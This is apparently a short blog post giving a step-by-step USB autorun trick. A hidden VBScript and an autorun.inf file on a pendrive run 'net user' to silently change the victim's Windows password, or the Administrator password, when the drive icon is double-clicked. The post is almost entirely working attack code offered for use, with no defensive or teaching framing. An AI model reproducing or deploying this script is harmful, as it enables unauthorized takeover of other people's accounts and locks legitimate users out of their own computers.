Open up notepad and type the follwoing '-----start of code----- Dim oShell Set oShell = WScript.CreateObject ("WSCript.shell") oShell.run "net user %username% newpassword" Set oShell = Nothing '-----end of code----- Save this as autorun.vbs on the pendrive and set its prop to hidden Now create an autorun file [autorun] open=autorun.vbs Save as autorun.inf Now when the user dbl-clicks on the Removable-Disk Drive icon in My Computer this program changes the user's password to newpassword If u want to change admin password then type instead of net user... net user Administrator newpassword
Subscribe to:
Post Comments (Atom)
0 comments:
Post a Comment